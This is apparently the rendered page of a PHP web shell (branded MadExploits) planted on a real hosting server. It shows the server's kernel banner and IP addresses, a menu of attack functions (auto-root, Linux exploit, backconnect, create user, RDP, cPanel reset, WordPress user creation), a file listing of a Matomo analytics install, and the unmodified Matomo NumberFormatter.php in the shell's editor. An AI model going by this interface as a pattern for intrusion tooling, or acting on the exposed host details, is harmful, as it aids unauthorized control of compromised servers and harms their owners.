Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.144.117.19
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NumberFormatter.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Piwik\Container\StaticContainer; use Piwik\Translation\Translator; /** * Class NumberFormatter * * Used to format numbers according to current language */ class NumberFormatter { /** @var Translator */ protected $translator; /** @var array cached patterns per language */ protected $patterns; /** @var array cached symbols per language */ protected $symbols; /** * Loads all required data from Intl plugin * * TODO: instead of going directly through Translator, there should be a specific class * that gets needed characters (ie, NumberFormatSource). The default implementation * can use the Translator. This will make it easier to unit test NumberFormatter, * w/o needing the Piwik Environment. * * @return NumberFormatter */ public function __construct(Translator $translator) { $this->translator = $translator; } /** * Parses the given pattern and returns patterns for positive and negative numbers * * @param string $pattern * @return array */ protected function parsePattern($pattern) { $patterns = explode(';', $pattern); if (!isset($patterns[1])) { // No explicit negative pattern was provided, construct it. $patterns[1] = '-' . $patterns[0]; } return $patterns; } /** * Formats a given number or percent value (if $value starts or ends with a %) * * @param string|int|float $value * @param int $maximumFractionDigits * @param int $minimumFractionDigits * @return mixed|string */ public function format($value, $maximumFractionDigits=0, $minimumFractionDigits=0) { if (is_string($value) && trim($value, '%') != $value ) { return $this->formatPercent($value, $maximumFractionDigits, $minimumFractionDigits); } return $this->formatNumber($value, $maximumFractionDigits, $minimumFractionDigits); } /** * Formats a given number * * @see \Piwik\NumberFormatter::format() * * @param string|int|float $value * @param int $maximumFractionDigits * @param int $minimumFractionDigits * @return mixed|string */ public function formatNumber($value, $maximumFractionDigits=0, $minimumFractionDigits=0) { $pattern = $this->getPattern($value, 'Intl_NumberFormatNumber'); return $this->formatNumberWithPattern($pattern, $value, $maximumFractionDigits, $minimumFractionDigits); } /** * Formats given number as percent value * @param string|int|float $value * @param int $maximumFractionDigits * @param int $minimumFractionDigits * @return mixed|string */ public function formatPercent($value, $maximumFractionDigits=0, $minimumFractionDigits=0) { $newValue = trim($value, " \0\x0B%"); if (!is_numeric($newValue)) { return $value; } $pattern = $this->getPattern($value, 'Intl_NumberFormatPercent'); return $this->formatNumberWithPattern($pattern, $newValue, $maximumFractionDigits, $minimumFractionDigits); } /** * Formats given number as percent value, but keep the leading + sign if found * * @param $value * @return string */ public function formatPercentEvolution($value) { $isPositiveEvolution = !empty($value) && ($value > 0 || substr($value, 0, 1) === '+'); $formatted = self::formatPercent($value); if ($isPositiveEvolution) { // $this->symbols has already been initialized from formatPercent(). $language = $this->translator->getCurrentLanguage(); return $this->symbols[$language]['+'] . $formatted; } return $formatted; } /** * Formats given number as percent value * @param string|int|float $value * @param string $currency * @param int $precision * @return mixed|string */ public function formatCurrency($value, $currency, $precision=2) { $newValue = trim(strval($value), " \0\x0B$currency"); if (!is_numeric($newValue)) { return $value; } $pattern = $this->getPattern($value, 'Intl_NumberFormatCurrency'); if ($newValue == round($newValue)) { // if no fraction digits available, don't show any $value = $this->formatNumberWithPattern($pattern, $newValue, 0, 0); } else { // show given count of fraction digits otherwise $value = $this->formatNumberWithPattern($pattern, $newValue, $precision, $precision); } return str_replace('ยค', $currency, $value); } /** * Returns the relevant pattern for the given number. * * @param string $value * @param string $translationId * @return string */ protected function getPattern($value, $translationId) { $language = $this->translator->getCurrentLanguage(); if (!isset($this->patterns[$language][$translationId])) { $this->patterns[$language][$translationId] = $this->parsePattern($this->translator->translate($translationId)); } list($positivePattern, $negativePattern) = $this->patterns[$language][$translationId]; $negative = $this->isNegative($value); return $negative ? $negativePattern : $positivePattern; } /** * Formats the given number with the given pattern * * @param string $pattern * @param string|int|float $value * @param int $maximumFractionDigits * @param int $minimumFractionDigits * @return mixed|string */ protected function formatNumberWithPattern($pattern, $value, $maximumFractionDigits=0, $minimumFractionDigits=0) { if (!is_numeric($value)) { return $value; } $usesGrouping = (strpos($pattern, ',') !== false); // if pattern has number groups, parse them. if ($usesGrouping) { preg_match('/#+0/', $pattern, $primaryGroupMatches); $primaryGroupSize = $secondaryGroupSize = strlen($primaryGroupMatches[0]); $numberGroups = explode(',', $pattern); // check for distinct secondary group size. if (count($numberGroups) > 2) { $secondaryGroupSize = strlen($numberGroups[1]); } } // Ensure that the value is positive and has the right number of digits. $negative = $this->isNegative($value); $signMultiplier = $negative ? '-1' : '1'; $value = $value / $signMultiplier; $value = round($value, $maximumFractionDigits); // Split the number into major and minor digits. $valueParts = explode('.', $value); $majorDigits = $valueParts[0]; // Account for maximumFractionDigits = 0, where the number won't // have a decimal point, and $valueParts[1] won't be set. $minorDigits = isset($valueParts[1]) ? $valueParts[1] : ''; if ($usesGrouping) { // Reverse the major digits, since they are grouped from the right. $majorDigits = array_reverse(str_split($majorDigits)); // Group the major digits. $groups = array(); $groups[] = array_splice($majorDigits, 0, $primaryGroupSize); while (!empty($majorDigits)) { $groups[] = array_splice($majorDigits, 0, $secondaryGroupSize); } // Reverse the groups and the digits inside of them. $groups = array_reverse($groups); foreach ($groups as &$group) { $group = implode(array_reverse($group)); } // Reconstruct the major digits. $majorDigits = implode(',', $groups); } if ($minimumFractionDigits <= $maximumFractionDigits) { // Strip any trailing zeroes. $minorDigits = rtrim($minorDigits, '0'); if (strlen($minorDigits) < $minimumFractionDigits) { // Now there are too few digits, re-add trailing zeroes // until the desired length is reached. $neededZeroes = $minimumFractionDigits - strlen($minorDigits); $minorDigits .= str_repeat('0', $neededZeroes); } } // Assemble the final number and insert it into the pattern. $value = $minorDigits ? $majorDigits . '.' . $minorDigits : $majorDigits; $value = preg_replace('/#(?:[\.,]#+)*0(?:[,\.][0#]+)*/', $value, $pattern); // Localize the number. $value = $this->replaceSymbols($value); return $value; } /** * Replaces number symbols with their localized equivalents. * * @param string $value The value being formatted. * * @return string * * @see http://cldr.unicode.org/translation/number-symbols */ protected function replaceSymbols($value) { $language = $this->translator->getCurrentLanguage(); if (!isset($this->symbols[$language])) { $this->symbols[$language] = array( '.' => $this->translator->translate('Intl_NumberSymbolDecimal'), ',' => $this->translator->translate('Intl_NumberSymbolGroup'), '+' => $this->translator->translate('Intl_NumberSymbolPlus'), '-' => $this->translator->translate('Intl_NumberSymbolMinus'), '%' => $this->translator->translate('Intl_NumberSymbolPercent'), ); } return strtr($value, $this->symbols[$language]); } /** * @param $value * @return bool */ protected function isNegative($value) { return $value < 0; } /** * @deprecated * @return self */ public static function getInstance() { return StaticContainer::get(NumberFormatter::class); } public function clearCache() { $this->patterns = []; $this->symbols = []; } }
Close